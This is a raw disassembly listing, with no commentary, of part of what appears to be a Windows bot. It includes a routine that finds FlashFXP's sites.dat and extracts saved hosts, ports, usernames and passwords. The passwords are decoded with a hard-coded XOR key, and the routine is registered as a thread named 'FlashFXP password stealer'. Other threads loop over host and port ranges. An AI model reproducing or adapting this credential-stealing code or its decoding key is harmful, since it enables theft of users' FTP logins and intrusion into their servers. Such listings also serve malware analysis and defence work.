; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4142BF proc near ; CODE XREF: sub_40A9CF+1B5Ep
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
cmp [ebp+arg_4], 0
jnz short loc_4142D0
jmp locret_4143AE
; ---------------------------------------------------------------------------
loc_4142D0: ; CODE XREF: sub_4142BF+Aj
cmp [ebp+arg_8], 0
jnz short loc_4142DD
mov [ebp+arg_8], offset a80 ; "80"
loc_4142DD: ; CODE XREF: sub_4142BF+15j
push [ebp+arg_8]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_4142F8
cmp [ebp+var_8], 0FFFFh
jbe short loc_4142FD
loc_4142F8: ; CODE XREF: sub_4142BF+2Ej
jmp locret_4143AE
; ---------------------------------------------------------------------------
loc_4142FD: ; CODE XREF: sub_4142BF+37j
cmp [ebp+arg_C], 0
jz short loc_414311
push [ebp+arg_C]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_10], eax
jmp short loc_414318
; ---------------------------------------------------------------------------
loc_414311: ; CODE XREF: sub_4142BF+42j
mov [ebp+var_10], 0EA60h
loc_414318: ; CODE XREF: sub_4142BF+50j
mov eax, [ebp+var_10]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41432D
cmp [ebp+var_4], 36EE80h
jbe short loc_41432F
loc_41432D: ; CODE XREF: sub_4142BF+63j
jmp short locret_4143AE
; ---------------------------------------------------------------------------
loc_41432F: ; CODE XREF: sub_4142BF+6Cj
push 2B1h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_414345
jmp short locret_4143AE
; ---------------------------------------------------------------------------
loc_414345: ; CODE XREF: sub_4142BF+82j
push 100h
push [ebp+arg_4]
mov eax, [ebp+var_C]
add eax, 4
push eax
call sub_407A56
add esp, 0Ch
push 6
push [ebp+arg_8]
mov eax, [ebp+var_C]
add eax, 104h
push eax
call sub_407A56
add esp, 0Ch
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov [eax+10Ah], ecx
push [ebp+arg_0]
mov eax, [ebp+var_C]
add eax, 10Eh
push eax
call sub_405F67
pop ecx
pop ecx
push [ebp+arg_8]
push [ebp+arg_4]
push offset dword_41D080
push 0
push [ebp+var_C]
push offset sub_4141C1
call sub_4095A4
add esp, 18h
locret_4143AE: ; CODE XREF: sub_4142BF+Cj
; sub_4142BF:loc_4142F8j ...
leave
retn
sub_4142BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143B0 proc near ; DATA XREF: sub_414600+1D6o
var_2E8 = qword ptr -2E8h
var_2DC = dword ptr -2DCh
var_2D8 = dword ptr -2D8h
var_2D4 = byte ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = byte ptr -2CCh
var_2C4 = dword ptr -2C4h
var_2C0 = dword ptr -2C0h
var_2BC = byte ptr -2BCh
var_1BC = word ptr -1BCh
var_1BA = word ptr -1BAh
var_1B8 = dword ptr -1B8h
var_1B4 = dword ptr -1B4h
var_1B0 = byte ptr -1B0h
var_18 = byte ptr -18h
var_C = word ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2DCh
push 2B3h
push [ebp+arg_0]
lea eax, [ebp+var_2C0]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
mov ax, [ebp+var_1BC]
mov [ebp+var_C], ax
push [ebp+var_1B4]
call sub_404D10
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_41440C
push [ebp+var_2C0]
call sub_409763
pop ecx
xor eax, eax
jmp locret_4145FC
; ---------------------------------------------------------------------------
loc_41440C: ; CODE XREF: sub_4143B0+47j
push [ebp+var_1B4]
movzx eax, [ebp+var_1BA]
push eax
movzx eax, [ebp+var_1BC]
push eax
lea eax, [ebp+var_2BC]
push eax
mov eax, [ebp+var_2C0]
push dword ptr [eax]
push offset dword_41D0F0
lea eax, [ebp+var_1B0]
push eax
call sub_40D53F
add esp, 1Ch
movsx eax, [ebp+var_18]
test eax, eax
jnz short loc_414458
push 3E8h
call ds:dword_41709C ; Sleep
loc_414458: ; CODE XREF: sub_4143B0+9Bj
call sub_416B64 ; clock
mov [ebp+var_2C4], eax
and [ebp+var_4], 0
loc_414467: ; CODE XREF: sub_4143B0+13Aj
; sub_4143B0+1F0j
mov eax, [ebp+var_2C0]
cmp dword ptr [eax+4], 0
jnz short loc_414482
movzx eax, [ebp+var_C]
movzx ecx, [ebp+var_1BA]
cmp eax, ecx
jle short loc_414487
loc_414482: ; CODE XREF: sub_4143B0+C1j
jmp loc_4145A5
; ---------------------------------------------------------------------------
loc_414487: ; CODE XREF: sub_4143B0+D0j
push 0Ah
lea eax, [ebp+var_2CC]
push eax
movzx eax, [ebp+var_C]
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
push [ebp+var_8]
push 0
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2BC]
push eax
call sub_404FE7
add esp, 0Ch
push eax
call sub_404D4D
pop ecx
pop ecx
mov [ebp+var_2D0], eax
mov ax, [ebp+var_C]
add ax, 1
mov [ebp+var_C], ax
cmp [ebp+var_2D0], 0
jz short loc_4144EF
movzx eax, [ebp+var_C]
movzx ecx, [ebp+var_1BA]
cmp eax, ecx
jg short loc_4144EF
jmp loc_414467
; ---------------------------------------------------------------------------
loc_4144EF: ; CODE XREF: sub_4143B0+129j
; sub_4143B0+138j
push [ebp+var_1B8]
call ds:dword_41709C ; Sleep
push [ebp+var_8]
call sub_404E1C
pop ecx
test eax, eax
jz loc_414597
loc_41450C: ; CODE XREF: sub_4143B0+1E2j
mov eax, [ebp+var_2C0]
cmp dword ptr [eax+4], 0
jz short loc_41451A
jmp short loc_414597
; ---------------------------------------------------------------------------
loc_41451A: ; CODE XREF: sub_4143B0+166j
push [ebp+var_8]
call sub_404F24
pop ecx
mov [ebp+var_2D8], eax
cmp [ebp+var_2D8], 0
jnz short loc_414534
jmp short loc_414597
; ---------------------------------------------------------------------------
loc_414534: ; CODE XREF: sub_4143B0+180j
lea eax, [ebp+var_2CC]
push eax
push [ebp+var_2D8]
call sub_4045B2
pop ecx
pop ecx
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov al, [ebp+var_18]
mov [ebp+var_2D4], al
and [ebp+var_18], 0
lea eax, [ebp+var_2CC]
push eax
lea eax, [ebp+var_2BC]
push eax
push offset dword_41D0DC
lea eax, [ebp+var_1B0]
push eax
call sub_40D53F
add esp, 10h
mov al, [ebp+var_2D4]
mov [ebp+var_18], al
push 3E8h
call ds:dword_41709C ; Sleep
jmp loc_41450C
; ---------------------------------------------------------------------------
loc_414597: ; CODE XREF: sub_4143B0+156j
; sub_4143B0+168j ...
push [ebp+var_8]
call sub_404F7D
pop ecx
jmp loc_414467
; ---------------------------------------------------------------------------
loc_4145A5: ; CODE XREF: sub_4143B0:loc_414482j
push [ebp+var_4]
call sub_416B64 ; clock
sub eax, [ebp+var_2C4]
mov [ebp+var_2DC], eax
fild [ebp+var_2DC]
fdiv ds:flt_417270
push ecx
push ecx
fstp [esp+2E8h+var_2E8]
lea eax, [ebp+var_2BC]
push eax
push offset unk_41D0A0
lea eax, [ebp+var_1B0]
push eax
call sub_40D53F
add esp, 18h
push [ebp+var_8]
call sub_404FD0
pop ecx
push [ebp+var_2C0]
call sub_409763
pop ecx
xor eax, eax
locret_4145FC: ; CODE XREF: sub_4143B0+57j
leave
retn 4
sub_4143B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414600 proc near ; CODE XREF: sub_40A9CF+C9Cp
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 28h
cmp [ebp+arg_4], 0
jz short loc_414612
cmp [ebp+arg_8], 0
jnz short loc_414617
loc_414612: ; CODE XREF: sub_414600+Aj
jmp locret_4147E3
; ---------------------------------------------------------------------------
loc_414617: ; CODE XREF: sub_414600+10j
cmp [ebp+arg_C], 0
jnz short loc_414623
mov eax, [ebp+arg_8]
mov [ebp+arg_C], eax
loc_414623: ; CODE XREF: sub_414600+1Bj
push [ebp+arg_8]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_41463E
cmp [ebp+var_8], 0FFFFh
jbe short loc_414643
loc_41463E: ; CODE XREF: sub_414600+33j
jmp locret_4147E3
; ---------------------------------------------------------------------------
loc_414643: ; CODE XREF: sub_414600+3Cj
push [ebp+arg_C]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jz short loc_41465E
cmp [ebp+var_14], 0FFFFh
jbe short loc_414663
loc_41465E: ; CODE XREF: sub_414600+53j
jmp locret_4147E3
; ---------------------------------------------------------------------------
loc_414663: ; CODE XREF: sub_414600+5Cj
push 2B3h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41467C
jmp locret_4147E3
; ---------------------------------------------------------------------------
loc_41467C: ; CODE XREF: sub_414600+75j
mov eax, [ebp+var_8]
cmp eax, [ebp+var_14]
jbe short loc_414696
mov eax, [ebp+var_14]
mov [ebp+var_18], eax
mov eax, [ebp+var_8]
mov [ebp+var_14], eax
mov eax, [ebp+var_18]
mov [ebp+var_8], eax
loc_414696: ; CODE XREF: sub_414600+82j
cmp [ebp+arg_10], 0
jz short loc_4146AA
push [ebp+arg_10]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_1C], eax
jmp short loc_4146B1
; ---------------------------------------------------------------------------
loc_4146AA: ; CODE XREF: sub_414600+9Aj
mov [ebp+var_1C], 7D0h
loc_4146B1: ; CODE XREF: sub_414600+A8j
mov eax, [ebp+var_1C]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_4146C6
cmp [ebp+var_C], 0EA60h
jbe short loc_4146CD
loc_4146C6: ; CODE XREF: sub_414600+BBj
mov [ebp+var_C], 7D0h
loc_4146CD: ; CODE XREF: sub_414600+C4j
cmp [ebp+arg_14], 0
jz short loc_4146E1
push [ebp+arg_14]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_20], eax
jmp short loc_4146E8
; ---------------------------------------------------------------------------
loc_4146E1: ; CODE XREF: sub_414600+D1j
mov [ebp+var_20], 100h
loc_4146E8: ; CODE XREF: sub_414600+DFj
mov eax, [ebp+var_20]
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz short loc_4146FD
cmp [ebp+var_10], 200h
jbe short loc_414704
loc_4146FD: ; CODE XREF: sub_414600+F2j
mov [ebp+var_10], 100h
loc_414704: ; CODE XREF: sub_414600+FBj
push 100h
push [ebp+arg_4]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_416B58 ; strncpy
add esp, 0Ch
mov eax, [ebp+var_4]
mov cx, word ptr [ebp+var_8]
mov [eax+104h], cx
mov eax, [ebp+var_4]
mov cx, word ptr [ebp+var_14]
mov [eax+106h], cx
cmp [ebp+var_C], 0EA60h
jbe short loc_414749
mov [ebp+var_24], 0EA60h
jmp short loc_41474F
; ---------------------------------------------------------------------------
loc_414749: ; CODE XREF: sub_414600+13Ej
mov eax, [ebp+var_C]
mov [ebp+var_24], eax
loc_41474F: ; CODE XREF: sub_414600+147j
mov eax, [ebp+var_4]
mov ecx, [ebp+var_24]
mov [eax+108h], ecx
cmp [ebp+var_10], 200h
jbe short loc_41476D
mov [ebp+var_28], 200h
jmp short loc_414773
; ---------------------------------------------------------------------------
loc_41476D: ; CODE XREF: sub_414600+162j
mov eax, [ebp+var_10]
mov [ebp+var_28], eax
loc_414773: ; CODE XREF: sub_414600+16Bj
mov eax, [ebp+var_4]
mov ecx, [ebp+var_28]
mov [eax+10Ch], ecx
push 1A3h
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 110h
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_4]
push dword ptr [eax+10Ch]
mov eax, [ebp+var_4]
movzx eax, word ptr [eax+106h]
push eax
mov eax, [ebp+var_4]
movzx eax, word ptr [eax+104h]
push eax
mov eax, [ebp+var_4]
add eax, 4
push eax
push offset dword_41D138
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
neg eax
sbb eax, eax
inc eax
push eax
push [ebp+var_4]
push offset sub_4143B0
call sub_4095A4
add esp, 20h
locret_4147E3: ; CODE XREF: sub_414600:loc_414612j
; sub_414600:loc_41463Ej ...
leave
retn
sub_414600 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4147E5 proc near ; CODE XREF: sub_414A1E+373p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
lea eax, [ebp+var_10]
push eax
push offset dword_418B54
push [ebp+arg_4]
call sub_416BA2 ; sscanf
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_414816
xor eax, eax
jmp locret_4148CC
; ---------------------------------------------------------------------------
loc_414816: ; CODE XREF: sub_4147E5+28j
mov eax, [ebp+arg_4]
inc eax
inc eax
mov [ebp+arg_4], eax
loc_41481E: ; CODE XREF: sub_4147E5:loc_4148BEj
lea eax, [ebp+var_C]
push eax
push offset dword_418B54
push [ebp+arg_4]
call sub_416BA2 ; sscanf
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_414842
xor eax, eax
jmp locret_4148CC
; ---------------------------------------------------------------------------
loc_414842: ; CODE XREF: sub_4147E5+54j
mov eax, [ebp+var_8]
movsx eax, byte ptr [eax]
mov ecx, [ebp+var_C]
xor ecx, eax
mov [ebp+var_C], ecx
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
cmp eax, [ebp+var_C]
jl short loc_414866
mov eax, [ebp+var_C]
dec eax
mov [ebp+var_C], eax
loc_414866: ; CODE XREF: sub_4147E5+78j
mov eax, [ebp+var_C]
sub eax, [ebp+var_10]
mov ecx, [ebp+arg_0]
mov [ecx], al
mov eax, [ebp+arg_0]
inc eax
mov [ebp+arg_0], eax
lea eax, [ebp+var_10]
push eax
push offset dword_418B54
push [ebp+arg_4]
call sub_416BA2 ; sscanf
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_414899
xor eax, eax
jmp short locret_4148CC
; ---------------------------------------------------------------------------
loc_414899: ; CODE XREF: sub_4147E5+AEj
mov eax, [ebp+arg_4]
inc eax
inc eax
mov [ebp+arg_4], eax
mov eax, [ebp+var_8]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_4148B2
mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
loc_4148B2: ; CODE XREF: sub_4147E5+C4j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [eax]
test eax, eax
jnz short loc_4148BE
jmp short loc_4148C3
; ---------------------------------------------------------------------------
loc_4148BE: ; CODE XREF: sub_4147E5+D5j
jmp loc_41481E
; ---------------------------------------------------------------------------
loc_4148C3: ; CODE XREF: sub_4147E5+D7j
mov eax, [ebp+arg_0]
and byte ptr [eax], 0
push 1
pop eax
locret_4148CC: ; CODE XREF: sub_4147E5+2Cj
; sub_4147E5+58j ...
leave
retn
sub_4147E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4148CE proc near ; CODE XREF: sub_414A1E+30p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20h
and [ebp+var_14], 0
lea eax, [ebp+var_14]
push eax
push 20019h
push 0
push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
push 80000002h
call ds:dword_417008 ; RegOpenKeyExA
mov [ebp+var_10], eax
mov [ebp+var_4], 104h
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
push 0
push 0
push 0
push [ebp+var_14]
call ds:dword_41700C ; RegQueryValueExA
mov [ebp+var_10], eax
push [ebp+var_14]
call ds:dword_417028 ; RegCloseKey
cmp [ebp+var_10], 0
jnz short loc_414971
push offset aFlashfxp_exe1 ; "FlashFXP.exe %1"
push 4
push [ebp+arg_0]
call sub_407ACA
add esp, 0Ch
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_414945
jmp loc_414A17
; ---------------------------------------------------------------------------
loc_414945: ; CODE XREF: sub_4148CE+70j
push offset aSites_dat ; "sites.dat"
push [ebp+var_18]
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
mov eax, [ebp+var_18]
add eax, 0Fh
push eax
mov eax, [ebp+var_18]
add eax, 9
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
push 1
pop eax
jmp locret_414A1C
; ---------------------------------------------------------------------------
loc_414971: ; CODE XREF: sub_4148CE+55j
; sub_4148CE:loc_414A17j
push 104h
push [ebp+arg_0]
push offset aProgramfiles ; "ProgramFiles"
call ds:dword_417104 ; GetEnvironmentVariableA
push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
push [ebp+arg_0]
call sub_416B70 ; _mbscat
pop ecx
pop ecx
push offset aRb ; "rb"
push [ebp+arg_0]
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_4149B0
push 1
pop eax
jmp short locret_414A1C
; ---------------------------------------------------------------------------
loc_4149B0: ; CODE XREF: sub_4148CE+DBj
mov eax, dword_419398
mov [ebp+var_C], eax
loc_4149B8: ; CODE XREF: sub_4148CE+143j
lea eax, [ebp+var_C]
push eax
call ds:dword_4170CC ; GetDriveTypeA
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 5
jz short loc_414A02
cmp [ebp+var_1C], 2
jz short loc_414A02
lea eax, [ebp+var_C]
push eax
push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
push [ebp+arg_0]
call sub_416B5E ; sprintf
add esp, 0Ch
push offset aRb ; "rb"
push [ebp+arg_0]
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jz short loc_414A02
push 1
pop eax
jmp short locret_414A1C
; ---------------------------------------------------------------------------
loc_414A02: ; CODE XREF: sub_4148CE+FBj
; sub_4148CE+101j ...
mov al, byte ptr [ebp+var_C]
add al, 1
mov byte ptr [ebp+var_C], al
movsx eax, byte ptr [ebp+var_C]
cmp eax, 5Ah
jnz short loc_4149B8
xor eax, eax
jmp short locret_414A1C
; ---------------------------------------------------------------------------
loc_414A17: ; CODE XREF: sub_4148CE+72j
jmp loc_414971
; ---------------------------------------------------------------------------
locret_414A1C: ; CODE XREF: sub_4148CE+9Ej
; sub_4148CE+E0j ...
leave
retn
sub_4148CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414A1E proc near ; DATA XREF: sub_414EB0+35o
var_5E0 = dword ptr -5E0h
var_5DC = dword ptr -5DCh
var_5D8 = dword ptr -5D8h
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_5CC = dword ptr -5CCh
var_5C8 = dword ptr -5C8h
var_5C4 = byte ptr -5C4h
var_544 = byte ptr -544h
var_4C4 = byte ptr -4C4h
var_444 = byte ptr -444h
var_3C4 = dword ptr -3C4h
var_3C0 = dword ptr -3C0h
var_3BC = dword ptr -3BCh
var_3B8 = dword ptr -3B8h
var_3B4 = byte ptr -3B4h
var_334 = dword ptr -334h
var_330 = byte ptr -330h
var_32C = dword ptr -32Ch
var_328 = byte ptr -328h
var_190 = byte ptr -190h
var_184 = dword ptr -184h
var_180 = byte ptr -180h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5E0h
push 1A7h
push [ebp+arg_0]
lea eax, [ebp+var_32C]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
lea eax, [ebp+var_180]
push eax
call sub_4148CE
pop ecx
test eax, eax
jnz short loc_414A6B
push [ebp+var_32C]
call sub_409763
pop ecx
xor eax, eax
jmp locret_414EAC
; ---------------------------------------------------------------------------
loc_414A6B: ; CODE XREF: sub_414A1E+38j
mov eax, [ebp+var_32C]
push dword ptr [eax]
push offset unk_41D308
lea eax, [ebp+var_328]
push eax
call sub_40D53F
add esp, 0Ch
and [ebp+var_184], 0
and [ebp+var_334], 0
mov al, [ebp+var_190]
mov [ebp+var_330], al
and [ebp+var_190], 0
push offset aRb ; "rb"
lea eax, [ebp+var_180]
push eax
call sub_416B88 ; fopen
pop ecx
pop ecx
mov [ebp+var_3C4], eax
cmp [ebp+var_3C4], 0
jnz short loc_414ACF
jmp loc_414EAA
; ---------------------------------------------------------------------------
loc_414ACF: ; CODE XREF: sub_414A1E+AAj
push 2
push 0
push [ebp+var_3C4]
call sub_416B96 ; fseek
add esp, 0Ch
push [ebp+var_3C4]
call sub_416B76 ; ftell
pop ecx
mov [ebp+var_3C0], eax
cmp [ebp+var_3C0], 100000h
jnb short loc_414B0D
mov eax, [ebp+var_3C0]
mov [ebp+var_5E0], eax
jmp short loc_414B17
; ---------------------------------------------------------------------------
loc_414B0D: ; CODE XREF: sub_414A1E+DFj
mov [ebp+var_5E0], 100000h
loc_414B17: ; CODE XREF: sub_414A1E+EDj
mov eax, [ebp+var_5E0]
mov [ebp+var_3C0], eax
push 0
push 0
push [ebp+var_3C4]
call sub_416B96 ; fseek
add esp, 0Ch
mov eax, [ebp+var_3C0]
inc eax
push eax
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_3BC], eax
cmp [ebp+var_3BC], 0
jnz short loc_414B63
push [ebp+var_3C4]
call sub_416B82 ; fclose
pop ecx
jmp loc_414EA8
; ---------------------------------------------------------------------------
loc_414B63: ; CODE XREF: sub_414A1E+132j
push [ebp+var_3C4]
push [ebp+var_3C0]
push 1
push [ebp+var_3BC]
call sub_416B90 ; fread
add esp, 10h
push [ebp+var_3C4]
call sub_416B82 ; fclose
pop ecx
mov eax, [ebp+var_3BC]
add eax, [ebp+var_3C0]
and byte ptr [eax], 0
mov eax, [ebp+var_3BC]
mov [ebp+var_3B8], eax
loc_414BA6: ; CODE XREF: sub_414A1E+428j
push offset asc_41D300 ; "\r\n\r\n["
push [ebp+var_3B8]
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_5DC], eax
mov eax, [ebp+var_3B8]
mov [ebp+var_5D0], eax
push offset aIp ; "\r\nIP="
push [ebp+var_3B8]
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_5C8], eax
push offset aPort ; "\r\nPort="
push [ebp+var_3B8]
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_5D8], eax
push offset aUser_0 ; "\r\nUser="
push [ebp+var_3B8]
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_5CC], eax
push offset aPass_0 ; "\r\nPass="
push [ebp+var_3B8]
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_5D4], eax
cmp [ebp+var_5C8], 0
jz loc_414E13
cmp [ebp+var_5DC], 0
jz short loc_414C52
mov eax, [ebp+var_5C8]
cmp eax, [ebp+var_5DC]
jnb loc_414E13
loc_414C52: ; CODE XREF: sub_414A1E+220j
cmp [ebp+var_5D8], 0
jz loc_414E13
cmp [ebp+var_5DC], 0
jz short loc_414C7A
mov eax, [ebp+var_5D8]
cmp eax, [ebp+var_5DC]
jnb loc_414E13
loc_414C7A: ; CODE XREF: sub_414A1E+248j
cmp [ebp+var_5CC], 0
jz loc_414E13
cmp [ebp+var_5DC], 0
jz short loc_414CA2
mov eax, [ebp+var_5CC]
cmp eax, [ebp+var_5DC]
jnb loc_414E13
loc_414CA2: ; CODE XREF: sub_414A1E+270j
cmp [ebp+var_5D4], 0
jz loc_414E13
cmp [ebp+var_5DC], 0
jz short loc_414CCA
mov eax, [ebp+var_5D4]
cmp eax, [ebp+var_5DC]
jnb loc_414E13
loc_414CCA: ; CODE XREF: sub_414A1E+298j
and [ebp+var_4C4], 0
mov al, [ebp+var_4C4]
mov [ebp+var_3B4], al
mov al, [ebp+var_3B4]
mov [ebp+var_5C4], al
mov al, [ebp+var_5C4]
mov [ebp+var_444], al
mov al, [ebp+var_444]
mov [ebp+var_544], al
lea eax, [ebp+var_544]
push eax
push offset asc_41D2D4 ; "[%[^]]]\r\n"
push [ebp+var_5D0]
call sub_416BA2 ; sscanf
add esp, 0Ch
lea eax, [ebp+var_444]
push eax
push offset aIp127s ; "\r\nIP=%127s\r\n"
push [ebp+var_5C8]
call sub_416BA2 ; sscanf
add esp, 0Ch
lea eax, [ebp+var_5C4]
push eax
push offset aPort127s ; "\r\nPort=%127s\r\n"
push [ebp+var_5D8]
call sub_416BA2 ; sscanf
add esp, 0Ch
lea eax, [ebp+var_3B4]
push eax
push offset aUser127s ; "\r\nUser=%127s\r\n"
push [ebp+var_5CC]
call sub_416BA2 ; sscanf
add esp, 0Ch
lea eax, [ebp+var_4C4]
push eax
push offset aPass127s ; "\r\nPass=%127s\r\n"
push [ebp+var_5D4]
call sub_416BA2 ; sscanf
add esp, 0Ch
lea eax, [ebp+var_4C4]
push eax
lea eax, [ebp+var_4C4]
push eax
call sub_4147E5
pop ecx
pop ecx
test eax, eax
jnz short loc_414DA1
jmp loc_414E4B
; ---------------------------------------------------------------------------
loc_414DA1: ; CODE XREF: sub_414A1E+37Cj
mov eax, [ebp+var_334]
inc eax
mov [ebp+var_334], eax
push 3E8h
call ds:dword_41709C ; Sleep
lea eax, [ebp+var_544]
push eax
lea eax, [ebp+var_5C4]
push eax
lea eax, [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
lea eax, [ebp+var_3B4]
push eax
push [ebp+var_334]
push offset dword_41D268
lea eax, [ebp+var_328]
push eax
call sub_40D53F
add esp, 20h
mov eax, [ebp+var_32C]
cmp dword ptr [eax+4], 0
jz short loc_414E13
push [ebp+var_3BC]
call sub_416B4C ; free
pop ecx
jmp loc_414EA6
; ---------------------------------------------------------------------------
loc_414E13: ; CODE XREF: sub_414A1E+213j
; sub_414A1E+22Ej ...
mov eax, [ebp+var_184]
inc eax
mov [ebp+var_184], eax
mov eax, [ebp+var_5DC]
mov [ebp+var_3B8], eax
cmp [ebp+var_3B8], 0
jnz short loc_414E37
jmp short loc_414E4B
; ---------------------------------------------------------------------------
loc_414E37: ; CODE XREF: sub_414A1E+415j
mov eax, [ebp+var_3B8]
add eax, 4
mov [ebp+var_3B8], eax
jmp loc_414BA6
; ---------------------------------------------------------------------------
loc_414E4B: ; CODE XREF: sub_414A1E+37Ej
; sub_414A1E+417j
push [ebp+var_3BC]
call sub_416B4C ; free
pop ecx
loc_414E57: ; CODE XREF: sub_414A1E:loc_414EA6j
mov al, [ebp+var_330]
mov [ebp+var_190], al
push 3E8h
call ds:dword_41709C ; Sleep
push [ebp+var_184]
push [ebp+var_334]
mov eax, [ebp+var_32C]
push dword ptr [eax]
push offset unk_41D22C
lea eax, [ebp+var_328]
push eax
call sub_40D53F
add esp, 14h
loc_414E96: ; CODE XREF: sub_414A1E:loc_414EA8j
; sub_414A1E:loc_414EAAj
push [ebp+var_32C]
call sub_409763
pop ecx
xor eax, eax
jmp short locret_414EAC
; ---------------------------------------------------------------------------
loc_414EA6: ; CODE XREF: sub_414A1E+3F0j
jmp short loc_414E57
; ---------------------------------------------------------------------------
loc_414EA8: ; CODE XREF: sub_414A1E+140j
jmp short loc_414E96
; ---------------------------------------------------------------------------
loc_414EAA: ; CODE XREF: sub_414A1E+ACj
jmp short loc_414E96
; ---------------------------------------------------------------------------
locret_414EAC: ; CODE XREF: sub_414A1E+48j
; sub_414A1E+486j
leave
retn 4
sub_414A1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414EB0 proc near ; CODE XREF: sub_40A9CF+769p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 1A7h
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_414ECA
jmp short locret_414EF2
; ---------------------------------------------------------------------------
loc_414ECA: ; CODE XREF: sub_414EB0+16j
push [ebp+arg_0]
mov eax, [ebp+var_4]
add eax, 4
push eax
call sub_405F67
pop ecx
pop ecx
push offset aFlashfxpPasswo ; "FlashFXP password stealer"
push 0
push [ebp+var_4]
push offset sub_414A1E
call sub_4095A4
add esp, 10h
locret_414EF2: ; CODE XREF: sub_414EB0+18j
leave
retn
